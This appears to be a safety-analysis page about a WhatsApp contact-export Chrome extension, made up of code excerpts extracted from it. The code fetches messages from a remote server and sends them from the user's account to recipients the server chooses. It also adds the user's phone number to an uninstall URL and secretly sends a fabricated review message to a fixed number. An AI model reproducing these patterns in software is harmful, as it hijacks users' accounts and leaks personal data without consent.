Is Free WhatsApp Chat Backup - Export WhatsApp Contact to Excel/CSV/VCard safe?

async handleOpen() {  this.fetchLoading = true;  const { myWhatsappID: e } = await chrome.storage.local.get(["myWhatsappID"]), o = {    whatsapp_id: e,    forward_type: 1,    forward_source: 4  };  this.forwardData && (o.batch_id = this.forwardData.batchId);  const t = await Object(go["b"])(o);  this.fetchLoading = false;  1e5 === t.code && (t.result ? this.forwardData = t.result : this.$message.error(this.$t("popup.noMoreTask")));}handleSendMessage() {  this.sendLoading = true;  chrome.tabs.query({    active: true,    currentWindow: true  }, e => {    chrome.tabs.sendMessage(e[0].id, {      NAMESPACE: Z["f"],      action: "send-forward-message",      data: {        message: this.forwardData.message,        receiver: this.forwardData.receiver.trim().replace("+", "")      }    });  });}async messageListener(e) {  if ("send-forward-message-result" === e.action)    if (this.sendLoading = false, e.data) {      this.$message.success(this.$t("popup.sendSuccess"));      const { unlimitedUsageExpiredAt: e } = await chrome.storage.local.get(["unlimitedUsageExpiredAt"]), o = Math.round(new Date / 1e3), t = e && e > o ? e : o;      await chrome.storage.local.set({        unlimitedUsageExpiredAt: t + 86400      });      await Object(go["f"])({        message_id: this.forwardData.id,        send_status: 4      });      this.$emit("sendSuccess");    } else {      await Object(go["f"])({        message_id: this.forwardData.id,        send_status: 5      });      this.$message.error(this.$t("popup.sendFailed"));    }}

const n = "https://wadesk.io/api",  c = a["a"].create({    baseURL: n + "/ext/v2",    method: "post"  });c.interceptors.request.use((async function(e) {  e.headers["Content-Type"] = "application/json";  e.headers["Ext-Name"] = "WDExport";  e.params = e.params || {};  const { account: o } = await chrome.storage.local.get("account");  return o && (e.headers.Authorization = "Bearer " + o.accessToken), e;}), (function(e) {  return { error: e };}));c.interceptors.response.use((async function(e) {  const o = e.data;  return o;}), (function(e) {  return { error: e };}));var r = c;async function d(e) {  return r({    url: "un_token/forward_message/get_one",    method: "post",    data: e  });}async function u(e) {  return r({    url: "un_token/forward_message/update_status",    method: "post",    data: e  });}

if ("contactCustomerService" === o.action) {  window.postMessage(o, "*");}if ("send-forward-message" === o.action) {  window.postMessage(o, "*");}return true;

async function G(e) {  try {    await window.WPP.chat.sendTextMessage(e.receiver + "@c.us", e.message, {      createChat: true    });    window.postMessage({      NAMESPACE: c["f"],      action: "send-forward-message-result",      data: true    }, "*");  } catch (t) {    window.postMessage({      NAMESPACE: c["f"],      action: "send-forward-message-result",      data: false    }, "*");  }}window.addEventListener("message", async e => {  if (e.data.NAMESPACE === c["f"] && "send-forward-message" === e.data.action) {    G(e.data.data);  }});

chrome.storage.onChanged.addListener(async (changes, area) => {  if (area === 'local' && changes.userPhoneNum) {    const phoneNumber = changes.userPhoneNum.newValue;    const { installedAt } = await chrome.storage.local.get(['installedAt']);    const { version } = chrome.runtime.getManifest();    const language = chrome.i18n.getUILanguage();    const params = new URLSearchParams({      utm_source: 'chrome_extension',      utm_medium: 'chrome_extension',      utm_trigger: 'uninstall',      version,      hl: language,      whatsapp_id: phoneNumber || '',      install_time: installedAt || ''    });    const uninstallUrl = `https://waexport.wadesk.io/ext-wa-export-feedback?${params.toString()}`;    chrome.runtime.setUninstallURL(uninstallUrl);  }});

// WPP.conn.getMyUserId() returns e.g. { _serialized: '14155551234@c.us' }const userId = window.WPP.conn.getMyUserId() || { _serialized: '' };const wid = window.WPP.conn.getMyUserWid();let phoneNumber = '';if (wid && wid.user) {  phoneNumber = '+' + wid.user;} else if (userId._serialized) {  phoneNumber = '+' + userId._serialized.split('@')[0].replace(/^\+/, '');}// phoneNumber is then posted to the content script as part of the wpp-full-ready event

if ("send-review-cert" === o.action && window.postMessage(o, "*"), "export-chat-history" === o.action) {  const e = await f(o);  return e.success ? (window.postMessage(o, "*"), {    success: !0  }) : e}

async function z(e) {  await window.WPP.chat.sendFileMessage("8618976917166@c.us", e, {    createChat: !0,    type: "image",    filename: "comment.png",    caption: navigator.language + ": I give a positive review for the contact-export extension"  }), window.postMessage({    NAMESPACE: c["f"],    action: "send-review-cert-result"  }, "*")}